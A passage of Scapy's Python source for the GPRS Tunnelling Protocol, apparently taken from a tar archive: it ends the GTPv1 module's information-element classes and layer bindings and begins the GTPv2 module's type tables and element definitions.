ShortField("length", 4), StrLenField("Protocol_Configuration", "", length_from=lambda x: x.length)] class IE_GSNAddress(IE_Base): name = "GSN Address" fields_desc = [ByteEnumField("ietype", 133, IEType), ShortField("length", None), ConditionalField(IPField("ipv4_address", RandIP()), lambda pkt: pkt.length == 4), ConditionalField(IP6Field("ipv6_address", '::1'), lambda pkt: pkt.length == 16)] def post_build(self, p, pay): if self.length is None: tmp_len = len(p) - 3 p = p[:2] + struct.pack("!B", tmp_len) + p[3:] return p class IE_MSInternationalNumber(IE_Base): name = "MS International Number" fields_desc = [ByteEnumField("ietype", 134, IEType), ShortField("length", None), FlagsField("flags", 0x91, 8, ["Extension", "", "", "International Number", "", "", "", "ISDN numbering"]), # noqa: E501 TBCDByteField("digits", "33607080910", length_from=lambda x: x.length - 1)] # noqa: E501 class QoS_Profile(IE_Base): name = "QoS profile" fields_desc = [ByteField("qos_ei", 0), ByteField("length", None), XBitField("spare", 0x00, 2), XBitField("delay_class", 0x000, 3), XBitField("reliability_class", 0x000, 3), XBitField("peak_troughput", 0x0000, 4), BitField("spare", 0, 1), XBitField("precedence_class", 0x000, 3), XBitField("spare", 0x000, 3), XBitField("mean_troughput", 0x00000, 5), XBitField("traffic_class", 0x000, 3), XBitField("delivery_order", 0x00, 2), XBitField("delivery_of_err_sdu", 0x000, 3), ByteField("max_sdu_size", None), ByteField("max_bitrate_up", None), ByteField("max_bitrate_down", None), XBitField("redidual_ber", 0x0000, 4), XBitField("sdu_err_ratio", 0x0000, 4), XBitField("transfer_delay", 0x00000, 5), XBitField("traffic_handling_prio", 0x000, 3), ByteField("guaranteed_bit_rate_up", None), ByteField("guaranteed_bit_rate_down", None)] class IE_QoS(IE_Base): name = "QoS" fields_desc = [ByteEnumField("ietype", 135, IEType), ShortField("length", None), ByteField("allocation_retention_prioiry", 1), ConditionalField(XBitField("spare", 0x00, 2), lambda p: p.length and p.length > 1), ConditionalField(XBitField("delay_class", 0x000, 3), lambda p: p.length and p.length > 1), ConditionalField(XBitField("reliability_class", 0x000, 3), lambda p: p.length and p.length > 1), ConditionalField(XBitField("peak_troughput", 0x0000, 4), lambda p: p.length and p.length > 2), ConditionalField(BitField("spare", 0, 1), lambda p: p.length and p.length > 2), ConditionalField(XBitField("precedence_class", 0x000, 3), lambda p: p.length and p.length > 2), ConditionalField(XBitField("spare", 0x000, 3), lambda p: p.length and p.length > 3), ConditionalField(XBitField("mean_troughput", 0x00000, 5), lambda p: p.length and p.length > 3), ConditionalField(XBitField("traffic_class", 0x000, 3), lambda p: p.length and p.length > 4), ConditionalField(XBitField("delivery_order", 0x00, 2), lambda p: p.length and p.length > 4), ConditionalField(XBitField("delivery_of_err_sdu", 0x000, 3), lambda p: p.length and p.length > 4), ConditionalField(ByteField("max_sdu_size", None), lambda p: p.length and p.length > 5), ConditionalField(ByteField("max_bitrate_up", None), lambda p: p.length and p.length > 6), ConditionalField(ByteField("max_bitrate_down", None), lambda p: p.length and p.length > 7), ConditionalField(XBitField("redidual_ber", 0x0000, 4), lambda p: p.length and p.length > 8), ConditionalField(XBitField("sdu_err_ratio", 0x0000, 4), lambda p: p.length and p.length > 8), ConditionalField(XBitField("transfer_delay", 0x00000, 6), lambda p: p.length and p.length > 9), ConditionalField(XBitField("traffic_handling_prio", 0x000, 2), lambda p: p.length and p.length > 9), ConditionalField(ByteField("guaranteed_bit_rate_up", None), lambda p: p.length and p.length > 10), ConditionalField(ByteField("guaranteed_bit_rate_down", None), lambda p: p.length and p.length > 11), ConditionalField(XBitField("spare", 0x000, 3), lambda p: p.length and p.length > 12), ConditionalField(BitField("signaling_indication", 0, 1), lambda p: p.length and p.length > 12), ConditionalField(XBitField("source_stats_desc", 0x0000, 4), lambda p: p.length and p.length > 12), ConditionalField(ByteField("max_bitrate_down_ext", None), lambda p: p.length and p.length > 13), ConditionalField(ByteField("guaranteed_bitrate_down_ext", None), lambda p: p.length and p.length > 14), ConditionalField(ByteField("max_bitrate_up_ext", None), lambda p: p.length and p.length > 15), ConditionalField(ByteField("guaranteed_bitrate_up_ext", None), lambda p: p.length and p.length > 16), ConditionalField(ByteField("max_bitrate_down_ext2", None), lambda p: p.length and p.length > 17), ConditionalField(ByteField("guaranteed_bitrate_down_ext2", None), lambda p: p.length and p.length > 18), ConditionalField(ByteField("max_bitrate_up_ext2", None), lambda p: p.length and p.length > 19), ConditionalField(ByteField("guaranteed_bitrate_up_ext2", None), lambda p: p.length and p.length > 20)] class IE_CommonFlags(IE_Base): name = "Common Flags" fields_desc = [ByteEnumField("ietype", 148, IEType), ShortField("length", None), BitField("dual_addr_bearer_fl", 0, 1), BitField("upgrade_qos_supported", 0, 1), BitField("nrsn", 0, 1), BitField("no_qos_nego", 0, 1), BitField("mbms_cnting_info", 0, 1), BitField("ran_procedure_ready", 0, 1), BitField("mbms_service_type", 0, 1), BitField("prohibit_payload_compression", 0, 1)] class IE_APNRestriction(IE_Base): name = "APN Restriction" fields_desc = [ByteEnumField("ietype", 149, IEType), ShortField("length", 1), ByteField("restriction_type_value", 0)] class IE_RATType(IE_Base): name = "Rat Type" fields_desc = [ByteEnumField("ietype", 151, IEType), ShortField("length", 1), ByteEnumField("RAT_Type", None, RATType)] class IE_UserLocationInformation(IE_Base): name = "User Location Information" fields_desc = [ByteEnumField("ietype", 152, IEType), ShortField("length", None), ByteField("type", 1), # Only type 1 is currently supported TBCDByteField("MCC", "", 2), # MNC: if the third digit of MCC is 0xf, then the length of MNC is 1 byte # noqa: E501 TBCDByteField("MNC", "", 1), ShortField("LAC", None), ShortField("SAC", None)] class IE_MSTimeZone(IE_Base): name = "MS Time Zone" fields_desc = [ByteEnumField("ietype", 153, IEType), ShortField("length", None), ByteField("timezone", 0), BitField("Spare", 0, 1), BitField("Spare", 0, 1), BitField("Spare", 0, 1), BitField("Spare", 0, 1), BitField("Spare", 0, 1), BitField("Spare", 0, 1), XBitField("daylight_saving_time", 0x00, 2)] class IE_IMEI(IE_Base): name = "IMEI" fields_desc = [ByteEnumField("ietype", 154, IEType), ShortField("length", None), TBCDByteField("IMEI", "", length_from=lambda x: x.length)] class IE_MSInfoChangeReportingAction(IE_Base): name = "MS Info Change Reporting Action" fields_desc = [ByteEnumField("ietype", 181, IEType), ShortField("length", 1), ByteField("Action", 0)] class IE_DirectTunnelFlags(IE_Base): name = "Direct Tunnel Flags" fields_desc = [ByteEnumField("ietype", 182, IEType), ShortField("length", 1), BitField("Spare", 0, 1), BitField("Spare", 0, 1), BitField("Spare", 0, 1), BitField("Spare", 0, 1), BitField("Spare", 0, 1), BitField("EI", 0, 1), BitField("GCSI", 0, 1), BitField("DTI", 0, 1)] class IE_BearerControlMode(IE_Base): name = "Bearer Control Mode" fields_desc = [ByteEnumField("ietype", 184, IEType), ShortField("length", 1), ByteField("bearer_control_mode", 0)] class IE_EvolvedAllocationRetentionPriority(IE_Base): name = "Evolved Allocation/Retention Priority" fields_desc = [ByteEnumField("ietype", 191, IEType), ShortField("length", 1), BitField("Spare", 0, 1), BitField("PCI", 0, 1), XBitField("PL", 0x0000, 4), BitField("Spare", 0, 1), BitField("PVI", 0, 1)] class IE_CharginGatewayAddress(IE_Base): name = "Chargin Gateway Address" fields_desc = [ByteEnumField("ietype", 251, IEType), ShortField("length", 4), ConditionalField(IPField("ipv4_address", "127.0.0.1"), lambda pkt: pkt.length == 4), ConditionalField(IP6Field("ipv6_address", "::1"), lambda pkt: pkt.length == 16)] class IE_PrivateExtension(IE_Base): name = "Private Extension" fields_desc = [ByteEnumField("ietype", 255, IEType), ShortField("length", 1), ByteField("extension identifier", 0), StrLenField("extention_value", "", length_from=lambda x: x.length)] class IE_ExtensionHeaderList(IE_Base): name = "Extension Header List" fields_desc = [ByteEnumField("ietype", 141, IEType), FieldLenField("length", None, length_of="extension_headers"), # noqa: E501 FieldListField("extension_headers", [64, 192], ByteField("", 0))] # noqa: E501 class IE_NotImplementedTLV(Packet): name = "IE not implemented" fields_desc = [ByteEnumField("ietype", 0, IEType), ShortField("length", None), StrLenField("data", "", length_from=lambda x: x.length)] def extract_padding(self, pkt): return "", pkt ietypecls = {1: IE_Cause, 2: IE_IMSI, 3: IE_Routing, 8: IE_ReorderingRequired, 14: IE_Recovery, 15: IE_SelectionMode, 16: IE_TEIDI, 17: IE_TEICP, 19: IE_Teardown, 20: IE_NSAPI, 26: IE_ChargingCharacteristics, 27: IE_TraceReference, 28: IE_TraceType, 127: IE_ChargingId, 128: IE_EndUserAddress, 131: IE_AccessPointName, 132: IE_ProtocolConfigurationOptions, 133: IE_GSNAddress, 134: IE_MSInternationalNumber, 135: IE_QoS, 141: IE_ExtensionHeaderList, 148: IE_CommonFlags, 149: IE_APNRestriction, 151: IE_RATType, 152: IE_UserLocationInformation, 153: IE_MSTimeZone, 154: IE_IMEI, 181: IE_MSInfoChangeReportingAction, 182: IE_DirectTunnelFlags, 184: IE_BearerControlMode, 191: IE_EvolvedAllocationRetentionPriority, 251: IE_CharginGatewayAddress, 255: IE_PrivateExtension} def IE_Dispatcher(s): """Choose the correct Information Element class.""" if len(s) < 1: return Raw(s) # Get the IE type ietype = orb(s[0]) cls = ietypecls.get(ietype, Raw) # if ietype greater than 128 are TLVs if cls == Raw and ietype & 128 == 128: cls = IE_NotImplementedTLV return cls(s) class GTPEchoResponse(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Echo Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, GTPEchoRequest) class GTPCreatePDPContextRequest(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Create PDP Context Request" fields_desc = [PacketListField("IE_list", [IE_TEIDI(), IE_NSAPI(), IE_GSNAddress(length=4, ipv4_address=RandIP()), # noqa: E501 IE_GSNAddress(length=4, ipv4_address=RandIP()), # noqa: E501 IE_NotImplementedTLV(ietype=135, length=15, data=RandString(15))], # noqa: E501 IE_Dispatcher)] class GTPCreatePDPContextResponse(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Create PDP Context Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, GTPCreatePDPContextRequest) class GTPUpdatePDPContextRequest(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Update PDP Context Request" fields_desc = [PacketListField("IE_list", [ IE_Cause(), IE_Recovery(), IE_TEIDI(), IE_TEICP(), IE_ChargingId(), IE_ProtocolConfigurationOptions(), IE_GSNAddress(), IE_GSNAddress(), IE_GSNAddress(), IE_GSNAddress(), IE_QoS(), IE_CharginGatewayAddress(), IE_CharginGatewayAddress(), IE_CommonFlags(), IE_APNRestriction(), IE_BearerControlMode(), IE_MSInfoChangeReportingAction(), IE_EvolvedAllocationRetentionPriority(), IE_PrivateExtension()], IE_Dispatcher)] class GTPUpdatePDPContextResponse(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Update PDP Context Response" fields_desc = [PacketListField("IE_list", None, IE_Dispatcher)] def answers(self, other): return isinstance(other, GTPUpdatePDPContextRequest) class GTPErrorIndication(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Error Indication" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class GTPDeletePDPContextRequest(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Delete PDP Context Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class GTPDeletePDPContextResponse(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Delete PDP Context Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class GTPPDUNotificationRequest(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP PDU Notification Request" fields_desc = [PacketListField("IE_list", [IE_IMSI(), IE_TEICP(TEICI=RandInt()), IE_EndUserAddress(PDPTypeNumber=0x21), # noqa: E501 IE_AccessPointName(), IE_GSNAddress(ipv4_address="127.0.0.1"), # noqa: E501 ], IE_Dispatcher)] class GTPSupportedExtensionHeadersNotification(Packet): name = "GTP Supported Extension Headers Notification" fields_desc = [PacketListField("IE_list", [IE_ExtensionHeaderList(), ], IE_Dispatcher)] class GTPmorethan1500(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP More than 1500" fields_desc = [ByteEnumField("IE_Cause", "Cause", IEType), BitField("IE", 1, 12000), ] # Bind GTP-C bind_bottom_up(UDP, GTPHeader, dport=2123) bind_bottom_up(UDP, GTPHeader, sport=2123) bind_layers(UDP, GTPHeader, dport=2123, sport=2123) bind_layers(GTPHeader, GTPEchoRequest, gtp_type=1, S=1) bind_layers(GTPHeader, GTPEchoResponse, gtp_type=2, S=1) bind_layers(GTPHeader, GTPCreatePDPContextRequest, gtp_type=16) bind_layers(GTPHeader, GTPCreatePDPContextResponse, gtp_type=17) bind_layers(GTPHeader, GTPUpdatePDPContextRequest, gtp_type=18) bind_layers(GTPHeader, GTPUpdatePDPContextResponse, gtp_type=19) bind_layers(GTPHeader, GTPDeletePDPContextRequest, gtp_type=20) bind_layers(GTPHeader, GTPDeletePDPContextResponse, gtp_type=21) bind_layers(GTPHeader, GTPPDUNotificationRequest, gtp_type=27) bind_layers(GTPHeader, GTPSupportedExtensionHeadersNotification, gtp_type=31, S=1) # noqa: E501 bind_layers(GTPHeader, GTP_UDPPort_ExtensionHeader, next_ex=64, E=1) bind_layers(GTPHeader, GTP_PDCP_PDU_ExtensionHeader, next_ex=192, E=1) # Bind GTP-U bind_bottom_up(UDP, GTP_U_Header, dport=2152) bind_bottom_up(UDP, GTP_U_Header, sport=2152) bind_layers(UDP, GTP_U_Header, dport=2152, sport=2152) bind_layers(GTP_U_Header, GTPErrorIndication, gtp_type=26, S=1) bind_layers(GTP_U_Header, GTPPDUSessionContainer, gtp_type=255, E=1, next_ex=0x85) bind_top_down(GTP_U_Header, IP, gtp_type=255) bind_top_down(GTP_U_Header, IPv6, gtp_type=255) bind_top_down(GTP_U_Header, PPP, gtp_type=255) scapy-2.4.4/scapy/contrib/gtp_v2.py000077500000000000000000001716241372370053500172150ustar00rootroot00000000000000# Copyright (C) 2017 Alessio Deiana # 2017 Alexis Sultan # This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = GPRS Tunneling Protocol v2 (GTPv2) # scapy.contrib.status = loads import struct from scapy.compat import orb from scapy.data import IANA_ENTERPRISE_NUMBERS from scapy.fields import ( BitEnumField, BitField, ByteEnumField, ByteField, ConditionalField, IPField, IntField, PacketField, PacketListField, ShortEnumField, ShortField, StrFixedLenField, StrLenField, ThreeBytesField, XBitField, XIntField, XShortField, ) from scapy.layers.inet6 import IP6Field from scapy.packet import bind_layers, Packet, Raw from scapy.volatile import RandIP, RandShort from scapy.contrib import gtp RATType = { 1: "UTRAN", 2: "GERAN", 3: "WLAN", 4: "GAN", 5: "HSPA Evolution", 6: "EUTRAN", 7: "Virtual", 8: "EUTRAN-NB-IoT", 9: "LTE-M", 10: "NR", } # 3GPP TS 29.274 v16.1.0 table 6.1-1 GTPmessageType = { 1: "echo_request", 2: "echo_response", 3: "version_not_supported", # 4-16: S101 interface, TS 29.276. # 17-24: S121 interface, TS 29.276. # 25-31: Sv interface, TS 29.280. # SGSN/MME/ TWAN/ePDG to PGW (S4/S11, S5/S8, S2a, S2b) 32: "create_session_req", 33: "create_session_res", 36: "delete_session_req", 37: "delete_session_res", # SGSN/MME/ePDG to PGW (S4/S11, S5/S8, S2b) 34: "modify_bearer_req", 35: "modify_bearer_res", # MME to PGW (S11, S5/S8) 40: "remote_ue_report_notif", 41: "remote_ue_report_ack", # SGSN/MME to PGW (S4/S11, S5/S8) 38: "change_notif_req", 39: "change_notif_res", # 42-46: For future use. 164: "resume_notif", 165: "resume_ack", # Messages without explicit response 64: "modify_bearer_cmd", 65: "modify_bearer_failure_indic", 66: "delete_bearer_cmd", 67: "delete_bearer_failure_indic", 68: "bearer_resource_cmd", 69: "bearer_resource_failure_indic", 70: "downlink_data_notif_failure_indic", 71: "trace_session_activation", 72: "trace_session_deactivation", 73: "stop_paging_indic", # 74-94: For future use. # PGW to SGSN/MME/ TWAN/ePDG (S5/S8, S4/S11, S2a, S2b) 95: "create_bearer_req", 96: "create_bearer_res", 97: "update_bearer_req", 98: "update_bearer_res", 99: "delete_bearer_req", 100: "delete_bearer_res", # PGW to MME, MME to PGW, SGW to PGW, SGW to MME, PGW to TWAN/ePDG, # TWAN/ePDG to PGW (S5/S8, S11, S2a, S2b) 101: "delete_pdn_connection_set_req", 102: "delete_pdn_connection_set_res", # PGW to SGSN/MME (S5, S4/S11) 103: "pgw_downlink_triggering_notif", 104: "pgw_downlink_triggering_ack", # 105-127: For future use. # MME to MME, SGSN to MME, MME to SGSN, SGSN to SGSN, MME to AMF, # AMF to MME (S3/S10/S16/N26) 128: "identification_req", 129: "identification_res", 130: "context_req", 131: "context_res", 132: "context_ack", 133: "forward_relocation_req", 134: "forward_relocation_res", 135: "forward_relocation_complete_notif", 136: "forward_relocation_complete_ack", 137: "forward_access_context_notif", 138: "forward_access_context_ack", 139: "relocation_cancel_req", 140: "relocation_cancel_res", 141: "configuration_transfer_tunnel", # 142-148: For future use. 152: "ran_information_relay", # SGSN to MME, MME to SGSN (S3) 149: "detach_notif", 150: "detach_ack", 151: "cs_paging_indic", 153: "alert_mme_notif", 154: "alert_mme_ack", 155: "ue_activity_notif", 156: "ue_activity_ack", 157: "isr_status_indic", 158: "ue_registration_query_req", 159: "ue_registration_query_res", # SGSN/MME to SGW, SGSN to MME (S4/S11/S3) # SGSN to SGSN (S16), SGW to PGW (S5/S8) 162: "suspend_notif", 163: "suspend_ack", # SGSN/MME to SGW (S4/S11) 160: "create_forwarding_tunnel_req", 161: "create_forwarding_tunnel_res", 166: "create_indirect_data_forwarding_tunnel_req", 167: "create_indirect_data_forwarding_tunnel_res", 168: "delete_indirect_data_forwarding_tunnel_req", 169: "delete_indirect_data_forwarding_tunnel_res", 170: "realease_bearers_req", 171: "realease_bearers_res", # 172-175: For future use # SGW to SGSN/MME (S4/S11) 176: "downlink_data_notif", 177: "downlink_data_notif_ack", 179: "pgw_restart_notif", 180: "pgw_restart_notif_ack", # SGW to SGSN (S4) # 178: Reserved. Allocated in earlier version of the specification. # 181-199: For future use. # SGW to PGW, PGW to SGW (S5/S8) 200: "update_pdn_connection_set_req", 201: "update_pdn_connection_set_res", # 202-210: For future use. # MME to SGW (S11) 211: "modify_access_bearers_req", 212: "modify_access_bearers_res", # 213-230: For future use. # MBMS GW to MME/SGSN (Sm/Sn) 231: "mbms_session_start_req", 232: "mbms_session_start_res", 233: "mbms_session_update_req", 234: "mbms_session_update_res", 235: "mbms_session_stop_req", 236: "mbms_session_stop_res", # 237-239: For future use. # Other # 240-247: Reserved for Sv interface (see also types 25 to 31, and # TS 29.280). # 248-255: For future use. } IEType = {1: "IMSI", 2: "Cause", 3: "Recovery Restart", 71: "APN", 72: "AMBR", 73: "EPS Bearer ID", 74: "IP Address", 75: "MEI", 76: "MSISDN", 77: "Indication", 78: "Protocol Configuration Options", 79: "PAA", 80: "Bearer QoS", 82: "RAT", 83: "Serving Network", 84: "Bearer TFT", 86: "ULI", 87: "F-TEID", 93: "Bearer Context", 94: "Charging ID", 95: "Charging Characteristics", 97: "Bearer Flags", 99: "PDN Type", 107: "MM Context (EPS Security Context and Quadruplets)", 109: "PDN Connection", 114: "UE Time zone", 126: "Port Number", 127: "APN Restriction", 128: "Selection Mode", 132: "FQ-CSID", 136: "FQDN", 145: "UCI", 161: "Max MBR/APN-AMBR (MMBR)", 163: "Additional Protocol Configuration Options", 170: "ULI Timestamp", 172: "RAN/NAS Cause", 197: "Extended Protocol Configuration Options", 202: "UP Function Selection Indication Flags", 255: "Private Extension", } class GTPHeader(gtp.GTPHeader): # 3GPP TS 29.060 V9.1.0 (2009-12) # without the version name = "GTP v2 Header" fields_desc = [BitField("version", 2, 3), BitField("P", 1, 1), BitField("T", 1, 1), BitField("SPARE", 0, 1), BitField("SPARE", 0, 1), BitField("SPARE", 0, 1), ByteEnumField("gtp_type", None, GTPmessageType), ShortField("length", None), ConditionalField(XIntField("teid", 0), lambda pkt:pkt.T == 1), ThreeBytesField("seq", RandShort()), ByteField("SPARE", 0) ] class IE_IP_Address(gtp.IE_Base): name = "IE IP Address" fields_desc = [ByteEnumField("ietype", 74, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), ConditionalField( IPField("address", RandIP()), lambda pkt: pkt.length == 4), ConditionalField( IP6Field("address6", None), lambda pkt: pkt.length == 16)] def post_build(self, p, pay): if self.length is None: tmp_len = 16 if self.address6 is not None else 4 p = p[:1] + struct.pack("!H", tmp_len) + p[2:] return p + pay class IE_MEI(gtp.IE_Base): name = "IE MEI" fields_desc = [ByteEnumField("ietype", 75, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), gtp.TBCDByteField("MEI", "175675478970685", length_from=lambda x: x.length)] def IE_Dispatcher(s): """Choose the correct Information Element class.""" # Get the IE type ietype = orb(s[0]) cls = ietypecls.get(ietype, Raw) # if ietype greater than 128 are TLVs if cls is Raw and ietype > 128: cls = IE_NotImplementedTLV return cls(s) class IE_EPSBearerID(gtp.IE_Base): name = "IE EPS Bearer ID" fields_desc = [ByteEnumField("ietype", 73, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), ByteField("EBI", 0)] class IE_RAT(gtp.IE_Base): name = "IE RAT" fields_desc = [ByteEnumField("ietype", 82, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), ByteEnumField("RAT_type", None, RATType)] class IE_ServingNetwork(gtp.IE_Base): name = "IE Serving Network" fields_desc = [ByteEnumField("ietype", 83, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), gtp.TBCDByteField("MCC", "", 2), gtp.TBCDByteField("MNC", "", 1)] # User Location Information IE and fields. # 3GPP TS 29.274 v16.1.0 section 8.21. class ULI_Field(Packet): """Base class for ULI fields.""" def extract_padding(self, s): return "", s class ULI_CGI(ULI_Field): name = "Cell Global Identifier" fields_desc = [ gtp.TBCDByteField("MCC", "", 2), gtp.TBCDByteField("MNC", "", 1), ShortField("LAC", 0), ShortField("CI", 0), ] class ULI_SAI(ULI_Field): name = "Service Area Identity" fields_desc = [ gtp.TBCDByteField("MCC", "", 2), gtp.TBCDByteField("MNC", "", 1), ShortField("LAC", 0), ShortField("SAC", 0), ] class ULI_RAI(ULI_Field): name = "Routing Area Identity" fields_desc = [ gtp.TBCDByteField("MCC", "", 2), # MNC: if the third digit of MCC is 0xf, then the length of # MNC is 1 byte gtp.TBCDByteField("MNC", "", 1), ShortField("LAC", 0), ShortField("RAC", 0), ] class ULI_TAI(ULI_Field): name = "Tracking Area Identity" fields_desc = [ gtp.TBCDByteField("MCC", "", 2), gtp.TBCDByteField("MNC", "", 1), ShortField("TAC", 0), ] class ULI_ECGI(ULI_Field): name = "E-UTRAN Cell Global Identifier" fields_desc = [ gtp.TBCDByteField("MCC", "", 2), gtp.TBCDByteField("MNC", "", 1), BitField("SPARE", 0, 4), BitField("ECI", 0, 28), ] class ULI_LAI(ULI_Field): name = "Location Area Identifier" fields_desc = [ gtp.TBCDByteField("MCC", "", 2), gtp.TBCDByteField("MNC", "", 1), ShortField("LAC", 0), ] class IE_ULI(gtp.IE_Base): name = "IE User Location Information" fields_desc = [ ByteEnumField("ietype", 86, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("SPARE", 0, 2), BitField("LAI_Present", 0, 1), BitField("ECGI_Present", 0, 1), BitField("TAI_Present", 0, 1), BitField("RAI_Present", 0, 1), BitField("SAI_Present", 0, 1), BitField("CGI_Present", 0, 1), ConditionalField( PacketField("CGI", 0, ULI_CGI), lambda pkt: bool(pkt.CGI_Present)), ConditionalField( PacketField("SAI", 0, ULI_SAI), lambda pkt: bool(pkt.SAI_Present)), ConditionalField( PacketField("RAI", 0, ULI_RAI), lambda pkt: bool(pkt.RAI_Present)), ConditionalField( PacketField("TAI", 0, ULI_TAI), lambda pkt: bool(pkt.TAI_Present)), ConditionalField( PacketField("ECGI", 0, ULI_ECGI), lambda pkt: bool(pkt.ECGI_Present)), ConditionalField( PacketField("LAI", 0, ULI_LAI), lambda pkt: bool(pkt.LAI_Present)), ] class IE_ULI_Timestamp(gtp.IE_Base): name = "IE ULI Timestamp" fields_desc = [ ByteEnumField("ietype", 170, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), XIntField("timestamp", 0)] # 3GPP TS 29.274 v12.12.0 section 8.22 INTERFACE_TYPES = { 0: "S1-U eNodeB GTP-U interface", 1: "S1-U SGW GTP-U interface", 2: "S12 RNC GTP-U interface", 3: "S12 SGW GTP-U interface", 4: "S5/S8 SGW GTP-U interface", 5: "S5/S8 PGW GTP-U interface", 6: "S5/S8 SGW GTP-C interface", 7: "S5/S8 PGW GTP-C interface", 8: "S5/S8 SGW PMIPv6 interface", 9: "S5/S8 PGW PMIPv6 interface", 10: "S11 MME GTP-C interface", 11: "S11/S4 SGW GTP-C interface", 12: "S10 MME GTP-C interface", 13: "S3 MME GTP-C interface", 14: "S3 SGSN GTP-C interface", 15: "S4 SGSN GTP-U interface", 16: "S4 SGW GTP-U interface", 17: "S4 SGSN GTP-C interface", 18: "S16 SGSN GTP-C interface", 19: "eNodeB GTP-U interface for DL data forwarding", 20: "eNodeB GTP-U interface for UL data forwarding", 21: "RNC GTP-U interface for data forwarding", 22: "SGSN GTP-U interface for data forwarding", 23: "SGW GTP-U interface for DL data forwarding", 24: "Sm MBMS GW GTP-C interface", 25: "Sn MBMS GW GTP-C interface", 26: "Sm MME GTP-C interface", 27: "Sn SGSN GTP-C interface", 28: "SGW GTP-U interface for UL data forwarding", 29: "Sn SGSN GTP-U interface", 30: "S2b ePDG GTP-C interface", 31: "S2b-U ePDG GTP-U interface", 32: "S2b PGW GTP-C interface", 33: "S2b-U PGW GTP-U interface", 34: "S2a TWAN GTP-U interface", 35: "S2a TWAN GTP-C interface", 36: "S2a PGW GTP-C interface", 37: "S2a PGW GTP-U interface", } class IE_UCI(gtp.IE_Base): name = "IE UCI" fields_desc = [ByteEnumField("ietype", 145, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), gtp.TBCDByteField("MCC", "", 2), gtp.TBCDByteField("MNC", "", 1), BitField("SPARE", 0, 5), BitField("CSG_ID", 0, 27), BitField("AccessMode", 0, 2), BitField("SPARE", 0, 4), BitField("LCSG", 0, 1), BitField("CMI", 0, 1)] class IE_FTEID(gtp.IE_Base): name = "IE F-TEID" fields_desc = [ByteEnumField("ietype", 87, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("ipv4_present", 0, 1), BitField("ipv6_present", 0, 1), BitEnumField("InterfaceType", 0, 6, INTERFACE_TYPES), XIntField("GRE_Key", 0), ConditionalField( IPField("ipv4", RandIP()), lambda pkt: pkt.ipv4_present), ConditionalField(XBitField("ipv6", "2001::", 128), lambda pkt: pkt.ipv6_present)] class IE_BearerContext(gtp.IE_Base): name = "IE Bearer Context" fields_desc = [ByteEnumField("ietype", 93, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), PacketListField("IE_list", None, IE_Dispatcher, length_from=lambda pkt: pkt.length)] class IE_BearerFlags(gtp.IE_Base): name = "IE Bearer Flags" fields_desc = [ByteEnumField("ietype", 97, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("SPARE", 0, 4), BitField("ASI", 0, 1), BitField("Vind", 0, 1), BitField("VB", 0, 1), BitField("PPC", 0, 1)] class IE_MMContext_EPS(gtp.IE_Base): name = "IE MM Context (EPS Security Context and Quadruplets)" fields_desc = [ByteEnumField("ietype", 107, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("Sec_Mode", 0, 3), BitField("Nhi", 0, 1), BitField("Drxi", 0, 1), BitField("Ksi", 0, 3), BitField("Num_quint", 0, 3), BitField("Num_Quad", 0, 3), BitField("Uambri", 0, 1), BitField("Osci", 0, 1), BitField("Sambri", 0, 1), BitField("Nas_algo", 0, 3), BitField("Nas_cipher", 0, 4), ThreeBytesField("Nas_dl_count", 0), ThreeBytesField("Nas_ul_count", 0), BitField("Kasme", 0, 256), ConditionalField(StrLenField("fields", "", length_from=lambda x: x.length - 41), lambda pkt: pkt.length > 40)] class IE_PDNConnection(gtp.IE_Base): name = "IE PDN Connection" fields_desc = [ByteEnumField("ietype", 109, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), PacketListField("IE_list", None, IE_Dispatcher, length_from=lambda pkt: pkt.length)] class IE_FQDN(gtp.IE_Base): name = "IE FQDN" fields_desc = [ByteEnumField("ietype", 136, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), ByteField("fqdn_tr_bit", 0), StrLenField("fqdn", "", length_from=lambda x: x.length - 1)] class IE_NotImplementedTLV(gtp.IE_Base): name = "IE not implemented" fields_desc = [ByteEnumField("ietype", 0, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), StrLenField("data", "", length_from=lambda x: x.length)] class 